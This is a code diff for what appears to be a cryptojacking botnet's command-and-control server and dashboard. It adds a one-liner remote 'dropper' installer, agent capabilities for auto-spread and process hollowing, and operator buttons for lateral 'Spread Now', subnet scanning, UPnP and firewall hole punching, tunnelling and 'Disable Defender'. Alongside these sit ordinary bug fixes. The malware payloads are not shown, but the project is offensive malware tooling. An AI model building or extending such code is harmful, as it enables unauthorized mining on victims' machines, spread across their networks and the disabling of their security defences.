b.FilePath, b.Platform, b.CreatedAt,
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass) b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
return err return err
} }
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) { func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
b := &models.BuildRecord{} return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id). }
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
var query string
var args []any
if platform == "" || platform == "any" {
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
} else {
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
args = []any{platform}
}
b, err := scanBuild(d.QueryRow(query, args...))
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -259,8 +291,7 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
} }
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) { func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?` rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
rows, err := d.Query(query, limit)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -268,9 +299,8 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
var builds []*models.BuildRecord var builds []*models.BuildRecord
for rows.Next() { for rows.Next() {
b := &models.BuildRecord{} b, err := scanBuild(rows)
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, if err != nil {
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
return nil, err return nil, err
} }
builds = append(builds, b) builds = append(builds, b)

View File

@@ -27,6 +27,22 @@ type Agent struct {
Notes string `json:"notes"` Notes string `json:"notes"`
Tags []string `json:"tags"` Tags []string `json:"tags"`
Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
}
// AgentCapabilities reports forge-time features available for remote command.
type AgentCapabilities struct {
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
AIEnabled bool `json:"ai_enabled"`
} }
type Share struct { type Share struct {
@@ -65,7 +81,9 @@ type BuildRecord struct {
Wallet string `json:"wallet"` Wallet string `json:"wallet"`
Threads int `json:"threads"` Threads int `json:"threads"`
FileSize int64 `json:"file_size"` FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
FilePath string `json:"file_path"` FilePath string `json:"file_path"`
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"` CreatedAt time.Time `json:"created_at"`
// Pool settings // Pool settings
PoolHost string `json:"pool_host"` PoolHost string `json:"pool_host"`

View File

@@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
} }
func (p *Proxy) subscribe() { func (p *Proxy) subscribe() {
p.mu.Lock()
p.requestID++ p.requestID++
subID := p.requestID
p.mu.Unlock()
subParams := []string{} subParams := []string{}
paramsData, _ := json.Marshal(subParams) paramsData, _ := json.Marshal(subParams)
subReq := StratumRequest{ subReq := StratumRequest{
ID: p.requestID, ID: subID,
Method: "subscribe", Method: "subscribe",
Params: paramsData, Params: paramsData,
} }
@@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
return return
} }
// Increment and read requestID under the write lock to avoid data race (H17)
p.mu.Lock()
p.requestID++ p.requestID++
reqID := p.requestID reqID := p.requestID
p.mu.Unlock()
wallet := share.Wallet wallet := share.Wallet
if wallet == "" { if wallet == "" {

View File

@@ -163,12 +163,17 @@ func main() {
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
log.Println("Blueprint handler initialized") log.Println("Blueprint handler initialized")
// Initialize dropper handler (one-liner remote install)
dropperHandler := api.NewDropperHandler(database, func() string {
return configProvider.PublicURL()
})
// Find web root for frontend // Find web root for frontend
webRoot := findWebRoot() webRoot := findWebRoot()
log.Printf("Web root: %s", webRoot) log.Printf("Web root: %s", webRoot)
// Initialize router // Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string { router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL() return configProvider.PublicURL()
}) })
log.Println("Router initialized") log.Println("Router initialized")
@@ -254,8 +259,13 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
return fmt.Errorf("invalid config: %w", err) return fmt.Errorf("invalid config: %w", err)
} }
// Merge incoming config over current config // Determine which top-level keys were explicitly present in the JSON payload.
mergeConfig(p.config, &incoming) // This prevents partial PUTs from corrupting boolean fields (H14): a key absent
// from the payload is treated as "not changed", not "set to false".
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(p.config, &incoming, presentKeys)
// Save to disk // Save to disk
if err := p.config.Save(); err != nil { if err := p.config.Save(); err != nil {

View File

@@ -2,6 +2,7 @@ import { lazy, Suspense } from 'react';
import { Routes, Route, Navigate } from 'react-router-dom'; import { Routes, Route, Navigate } from 'react-router-dom';
import SessionGate from './components/SessionGate'; import SessionGate from './components/SessionGate';
import Layout from './components/Layout/Layout'; import Layout from './components/Layout/Layout';
import { WebSocketProvider } from './context/WebSocketProvider';
const DashboardPage = lazy(() => import('./pages/DashboardPage')); const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage')); const AgentsPage = lazy(() => import('./pages/AgentsPage'));
@@ -19,6 +20,9 @@ function PageFallback() {
function App() { function App() {
return ( return (
// WebSocketProvider mounts a single WS connection shared by all routes.
// No page or component should call new WebSocket() directly — use useWebSocket().
<WebSocketProvider>
<SessionGate> <SessionGate>
<Layout> <Layout>
<Suspense fallback={<PageFallback />}> <Suspense fallback={<PageFallback />}>
@@ -34,6 +38,7 @@ function App() {
</Suspense> </Suspense>
</Layout> </Layout>
</SessionGate> </SessionGate>
</WebSocketProvider>
); );
} }

View File

@@ -1,7 +1,7 @@
import AgentRemoteActions from './AgentRemoteActions'; import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters'; import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types'; import type { Agent } from '../../types';
import type { WSMessage } from '../../types'; import type { SeqCommandResult } from '../../context/WebSocketContext';
interface Props { interface Props {
agent: Agent; agent: Agent;
@@ -12,7 +12,7 @@ interface Props {
onToggleExpand: () => void; onToggleExpand: () => void;
onSelect: () => void; onSelect: () => void;
onCheck?: (checked: boolean) => void; onCheck?: (checked: boolean) => void;
latestWsMessage?: WSMessage | null; commandResults?: SeqCommandResult[];
} }
export default function AgentListItem({ export default function AgentListItem({
@@ -24,7 +24,7 @@ export default function AgentListItem({
onToggleExpand, onToggleExpand,
onSelect, onSelect,
onCheck, onCheck,
latestWsMessage, commandResults,
}: Props) { }: Props) {
const online = agent.status === 'online'; const online = agent.status === 'online';
@@ -58,6 +58,11 @@ export default function AgentListItem({
)} )}
<span className={`status-dot ${agent.status}`} /> <span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span> <span>{agent.name}</span>
{agent.platform && (
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
</span>
)}
</div> </div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span> <span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div> </div>
@@ -89,7 +94,7 @@ export default function AgentListItem({
<span>v{agent.version || '?'}</span> <span>v{agent.version || '?'}</span>
</div> </div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>} {agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} /> <AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
</div> </div>
)} )}
</div> </div>

View File

@@ -91,6 +91,13 @@
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; } .button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); } .button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; }
.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); }
.aggressive-group { border-color: rgba(255, 0, 255, 0.15); }
.aggressive-group h3 { color: #ff00ff; }
.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; }
.screenshot-viewer { .screenshot-viewer {
margin-bottom: 20px; margin-bottom: 20px;
border: 1px solid #00e5ff; border: 1px solid #00e5ff;

View File

@@ -1,9 +1,12 @@
import React, { useState, useRef, useEffect, useCallback } from 'react'; import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client'; import { api } from '../../api/client';
import type { Agent, WSMessage } from '../../types'; import type { Agent } from '../../types';
import type { WSCommandResult } from '../../types/ws'; import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import './AgentRemoteActions.css'; import './AgentRemoteActions.css';
const TERMINAL_MAX_LINES = 500;
interface Props { interface Props {
/** Legacy: pass full agent object from list/detail pages */ /** Legacy: pass full agent object from list/detail pages */
agent?: Agent; agent?: Agent;
@@ -12,7 +15,11 @@ interface Props {
/** Explicit online flag — use when agent object may be stale */ /** Explicit online flag — use when agent object may be stale */
online?: boolean; online?: boolean;
compact?: boolean; compact?: boolean;
latestWsMessage?: WSMessage | null; /** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
* Every entry is processed; no results are dropped (fixes M13). */
commandResults?: SeqCommandResult[];
/** @deprecated Pass commandResults instead. */
latestWsMessage?: { type: string; payload: unknown } | null;
onCommandSent?: (action: string) => void; onCommandSent?: (action: string) => void;
} }
@@ -22,7 +29,7 @@ export default function AgentRemoteActions({
agentName: agentNameProp, agentName: agentNameProp,
online: onlineProp, online: onlineProp,
compact = false, compact = false,
latestWsMessage, commandResults,
onCommandSent, onCommandSent,
}: Props) { }: Props) {
const agentId = agentIdProp ?? agent?.id ?? ''; const agentId = agentIdProp ?? agent?.id ?? '';
@@ -31,24 +38,49 @@ export default function AgentRemoteActions({
const [isDragging, setIsDragging] = useState(false); const [isDragging, setIsDragging] = useState(false);
const [customCmd, setCustomCmd] = useState(''); const [customCmd, setCustomCmd] = useState('');
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
const [terminalLog, setTerminalLog] = useState<string[]>([]); const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null); const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null); const [busy, setBusy] = useState<string | null>(null);
const logEndRef = useRef<HTMLDivElement>(null); const logEndRef = useRef<HTMLDivElement>(null);
// Track the highest _seq we've already processed.
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
// where .slice(-N) trims old entries so absolute indices exceed the array length.
const lastSeenSeq = useRef(0);
const addLog = useCallback((msg: string) => { const addLog = useCallback((msg: string) => {
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]); setTerminalLog((prev) => {
const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
// Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
});
}, []); }, []);
useEffect(() => { useEffect(() => {
logEndRef.current?.scrollIntoView({ behavior: 'smooth' }); logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
}, [terminalLog]); }, [terminalLog]);
// When the selected agent changes, reset the seen-seq cursor to the current maximum.
// This prevents reprocessing results from the previous agent or a stale queue.
useEffect(() => { useEffect(() => {
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return; if (commandResults && commandResults.length > 0) {
const payload = latestWsMessage.payload as WSCommandResult; lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
}
// Intentionally only runs on agentId change — commandResults excluded from deps
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [agentId]);
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
// Filters by _seq so the ring-buffer trim never makes us miss results.
useEffect(() => {
if (!commandResults || commandResults.length === 0) return;
const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
if (newEntries.length === 0) return;
lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;
for (const payload of newEntries) {
const { agent_id, action, success, message } = payload; const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) return; if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
if (action === 'screenshot' && success && message) { if (action === 'screenshot' && success && message) {
setScreenshotData(`data:image/jpeg;base64,${message}`); setScreenshotData(`data:image/jpeg;base64,${message}`);
@@ -56,7 +88,8 @@ export default function AgentRemoteActions({
} else if (action) { } else if (action) {
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`); addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
} }
}, [latestWsMessage, agentId, addLog]); }
}, [commandResults, agentId, addLog]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => { const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) { if (!agentId) {
@@ -69,6 +102,9 @@ export default function AgentRemoteActions({
} }
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return; if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return; if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
setBusy(action); setBusy(action);
try { try {
@@ -130,6 +166,14 @@ export default function AgentRemoteActions({
} }
const isFleet = agentId === 'all'; const isFleet = agentId === 'all';
const caps = agent?.capabilities;
const platform = agent?.platform;
const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
!isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);
const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
aggressiveActionHint(action, caps, platform);
return ( return (
<div className="tactical-panel"> <div className="tactical-panel">
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button> <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div> </div>
</div> </div>
<div className="action-group aggressive-group">
<h3>NAT &amp; Aggressive Ops</h3>
<p className="action-group-hint">Point-and-shoot requires Advanced forge toggles on the agent.</p>
<div className="button-grid">
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('hole_punch_status')}
title={aggTitle('hole_punch_status')}
onClick={() => dispatch('hole_punch_status')}
>
WAN IP
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('hole_punch')}
title={aggTitle('hole_punch')}
onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
>
Hole Punch
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('hole_punch_close')}
title={aggTitle('hole_punch_close')}
onClick={() => dispatch('hole_punch_close', { command: '8989' })}
>
Close Punch
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_punch')}
title={aggTitle('firewall_punch')}
onClick={() => dispatch('firewall_punch', { command: '8989' })}
>
Open FW Port
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('start_tunnel')}
title={aggTitle('start_tunnel')}
onClick={() => dispatch('start_tunnel')}
>
Cloudflare Tunnel
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('subnet_scan')}
title={aggTitle('subnet_scan')}
onClick={() => dispatch('subnet_scan', { command: '64' })}
>
Subnet Scan
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('spread_now')}
title={aggTitle('spread_now')}
onClick={() => dispatch('spread_now')}
>
Spread Now
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('mesh_status')}
title={aggTitle('mesh_status')}
onClick={() => dispatch('mesh_status')}
>
Mesh Peers
</button>
<button
type="button"
className="btn-red"
disabled={aggDisabled('defender_off')}
title={aggTitle('defender_off')}
onClick={() => dispatch('defender_off')}
>
Disable Defender
</button>
</div>
</div>
</div> </div>
{screenshotData && ( {screenshotData && (

View File

@@ -121,12 +121,6 @@
grid-column: span 2; grid-column: span 2;
} }
.agent-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
margin-top: 1rem;
}
.agent-action-btn { .agent-action-btn {
padding: 0.4rem 0.75rem; padding: 0.4rem 0.75rem;

View File

@@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) {
setXmrPerDay(null); setXmrPerDay(null);
return; return;
} }
// AbortController ensures a stale in-flight response never overwrites a
// newer estimate when hashrate changes rapidly (fixes M16).
const controller = new AbortController();
api.getEarningsEstimate(hashrate).then((r) => { api.getEarningsEstimate(hashrate).then((r) => {
if (!controller.signal.aborted) {
setXmrPerDay(r.xmr_per_day); setXmrPerDay(r.xmr_per_day);
setNote(r.note); setNote(r.note);
}).catch(console.error); }
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
return () => controller.abort();
}, [hashrate]); }, [hashrate]);
if (xmrPerDay == null || hashrate <= 0) return null; if (xmrPerDay == null || hashrate <= 0) return null;

View File

@@ -5,6 +5,11 @@ import './MatrixStreamOverlay.css';
export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) { export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) {
const { recentShares } = useWebSocket(); const { recentShares } = useWebSocket();
const canvasRef = useRef<HTMLCanvasElement>(null); const canvasRef = useRef<HTMLCanvasElement>(null);
// Keep a ref to the latest shares so the draw loop always sees fresh data
// WITHOUT being listed as a useEffect dependency — this stops the animation
// from restarting every time a new share arrives (fixes L7).
const sharesRef = useRef(recentShares);
sharesRef.current = recentShares;
useEffect(() => { useEffect(() => {
if (!active || !canvasRef.current) return; if (!active || !canvasRef.current) return;
@@ -25,33 +30,29 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
let drops: number[] = Array(Math.floor(columns)).fill(1); let drops: number[] = Array(Math.floor(columns)).fill(1);
const draw = () => { const draw = () => {
// Black BG for the canvas
// translucent BG to show trail
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)'; ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
ctx.fillRect(0, 0, canvas.width, canvas.height); ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#0F0'; // Green text ctx.fillStyle = '#0F0';
ctx.font = `${fontSize}px monospace`; ctx.font = `${fontSize}px monospace`;
const shares = sharesRef.current;
for (let i = 0; i < drops.length; i++) { for (let i = 0; i < drops.length; i++) {
let text = letters.charAt(Math.floor(Math.random() * letters.length)); let text = letters.charAt(Math.floor(Math.random() * letters.length));
// Occasionally drop a raw share payload in the stream if (Math.random() > 0.99 && shares.length > 0) {
if (Math.random() > 0.99 && recentShares.length > 0) { const share = shares[Math.floor(Math.random() * shares.length)];
const share = recentShares[Math.floor(Math.random() * recentShares.length)];
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted }); text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444'; ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
ctx.fillText(text, i * fontSize, drops[i] * fontSize); ctx.fillText(text, i * fontSize, drops[i] * fontSize);
ctx.fillStyle = '#0F0'; // Reset color ctx.fillStyle = '#0F0';
} else { } else {
ctx.fillText(text, i * fontSize, drops[i] * fontSize); ctx.fillText(text, i * fontSize, drops[i] * fontSize);
} }
// sending the drop back to the top randomly after it has crossed the screen
if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) { if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
drops[i] = 0; drops[i] = 0;
} }
drops[i]++; drops[i]++;
} }
}; };
@@ -61,7 +62,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
clearInterval(interval); clearInterval(interval);
window.removeEventListener('resize', resize); window.removeEventListener('resize', resize);
}; };
}, [active, recentShares]); }, [active]); // recentShares intentionally excluded — read via sharesRef
if (!active) return null; if (!active) return null;

View File

@@ -0,0 +1,40 @@
import React, { createContext, useContext } from 'react';
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import type { WSCommandResult } from '../types/ws';
/**
* WSCommandResult with a monotonic sequence number attached by the provider.
* Consumers should track `_seq` instead of array index to avoid the ring-buffer
* drop bug that occurs when `.slice(-N)` trims the array but the stored index
* remains >= N.
*/
export type SeqCommandResult = WSCommandResult & { _seq: number };
export interface WebSocketContextValue {
isConnected: boolean;
agents: Agent[];
recentShares: Share[];
fleetAlerts: FleetAlert[];
poolStatus: PoolStatus[];
aiActivity: AIActivityEntry[];
agentLogs: Record<string, string>;
commandResults: SeqCommandResult[];
/** @deprecated Use commandResults instead. */
latestMessage: WSMessage | null;
}
export const WebSocketContext = createContext<WebSocketContextValue>({
isConnected: false,
agents: [],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
});
export function useWebSocketContext(): WebSocketContextValue {
return useContext(WebSocketContext);
}

View File

@@ -0,0 +1,192 @@
import React, { useEffect, useRef, useCallback, useState } from 'react';
import type {
WSDashboardInit,
WSAgentOffline,
WSStatsUpdate,
WSCommandResult,
WSAgentLog,
} from '../types/ws';
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import { WebSocketContext } from './WebSocketContext';
import type { SeqCommandResult } from './WebSocketContext';
/**
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
* All components call useWebSocket() and receive data from this one connection
* — fixes M12 (duplicate connections when multiple components called the hook).
*/
export function WebSocketProvider({ children }: { children: React.ReactNode }) {
const wsRef = useRef<WebSocket | null>(null);
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
const unmounted = useRef(false);
const [isConnected, setIsConnected] = useState(false);
const [agents, setAgents] = useState<Agent[]>([]);
const [recentShares, setRecentShares] = useState<Share[]>([]);
const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]);
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
const [commandResults, setCommandResults] = useState<SeqCommandResult[]>([]);
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
// Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones
const cmdSeqRef = useRef(0);
const connect = useCallback(() => {
if (unmounted.current) return;
if (reconnectTimer.current) {
clearTimeout(reconnectTimer.current);
reconnectTimer.current = null;
}
const existing = wsRef.current;
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
existing.close();
}
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
ws.onclose = () => {
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
reconnectTimer.current = setTimeout(connect, 3000);
};
ws.onerror = () => { ws.close(); };
ws.onmessage = (event) => {
try {
const msg = JSON.parse(event.data) as WSMessage;
setLatestMessage(msg);
switch (msg.type) {
case 'init': {
const data = msg.payload as WSDashboardInit;
if (data.agents) setAgents(data.agents);
break;
}
case 'agent_online': {
const agent = msg.payload as Agent;
setAgents((prev) => {
const idx = prev.findIndex((a) => a.id === agent.id);
if (idx >= 0) {
const updated = [...prev];
updated[idx] = { ...updated[idx], ...agent };
return updated;
}
return [...prev, agent];
});
break;
}
case 'agent_offline': {
const { agent_id } = msg.payload as WSAgentOffline;
setAgents((prev) =>
prev.map((a) => a.id === agent_id ? { ...a, status: 'offline' as const } : a)
);
break;
}
case 'stats_update': {
const update = msg.payload as WSStatsUpdate;
setAgents((prev) =>
prev.map((a) =>
a.id === update.agent_id
? {
...a,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
shares_total: update.shares_submitted ?? a.shares_total,
shares_good: update.shares_accepted ?? a.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
}
: a
)
);
break;
}
case 'new_share': {
const share = msg.payload as Share;
setRecentShares((prev) => [share, ...prev].slice(0, 50));
break;
}
case 'fleet_alert': {
const alert = msg.payload as FleetAlert;
setFleetAlerts((prev) => [alert, ...prev].slice(0, 20));
break;
}
case 'pool_status': {
const pools = msg.payload as PoolStatus[];
if (Array.isArray(pools)) setPoolStatus(pools);
break;
}
case 'ai_activity': {
const entry = msg.payload as AIActivityEntry;
setAiActivity((prev) => {
const idx = prev.findIndex((a) => a.agent_id === entry.agent_id);
if (idx >= 0) {
const next = [...prev];
next[idx] = entry;
return next;
}
return [...prev, entry];
});
break;
}
case 'command_result': {
const p = msg.payload as WSCommandResult;
const seq = ++cmdSeqRef.current;
// Cap at 2000; command results are rare (operator-triggered) so this is plenty.
// Consumers MUST use _seq for change detection — NOT array index — because the
// slice trims old entries and makes absolute indices stale.
setCommandResults((prev) => [...prev, { ...p, _seq: seq }].slice(-2000));
if (p.agent_id && p.action === 'get_log' && p.success && p.message) {
setAgentLogs((prev) => ({ ...prev, [p.agent_id!]: p.message! }));
}
break;
}
case 'agent_log': {
const { agent_id, content } = msg.payload as WSAgentLog;
if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
break;
}
}
} catch (err) {
console.error('Failed to parse WebSocket message:', err);
}
};
}, []);
useEffect(() => {
unmounted.current = false;
connect();
return () => {
unmounted.current = true;
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
const ws = wsRef.current;
if (ws) { ws.onclose = null; ws.close(); }
};
}, [connect]);
return (
<WebSocketContext.Provider value={{
isConnected, agents, recentShares, fleetAlerts, poolStatus,
aiActivity, agentLogs, commandResults, latestMessage,
}}>
{children}
</WebSocketContext.Provider>
);
}

View File

@@ -0,0 +1,65 @@
import type { AgentCapabilities } from '../types';
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
export const AGGRESSIVE_REMOTE_ACTIONS = [
'hole_punch',
'hole_punch_close',
'hole_punch_status',
'spread_now',
'start_tunnel',
'subnet_scan',
'defender_off',
'firewall_punch',
'mesh_status',
] as const;
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
export function canRunAggressiveAction(
action: AggressiveRemoteAction,
caps?: AgentCapabilities | null,
platform?: string
): boolean {
if (platform === 'darwin' && action === 'defender_off') return false;
if (!caps) return true;
switch (action) {
case 'hole_punch':
case 'hole_punch_close':
case 'hole_punch_status':
return caps.hole_punch;
case 'spread_now':
return caps.auto_spread || caps.remote_aggressive;
case 'start_tunnel':
case 'subnet_scan':
case 'defender_off':
case 'firewall_punch':
return caps.remote_aggressive;
case 'mesh_status':
return caps.mesh_p2p;
default:
return false;
}
}
export function aggressiveActionHint(
action: AggressiveRemoteAction,
caps?: AgentCapabilities | null,
platform?: string
): string | undefined {
if (platform === 'darwin' && action === 'defender_off') {
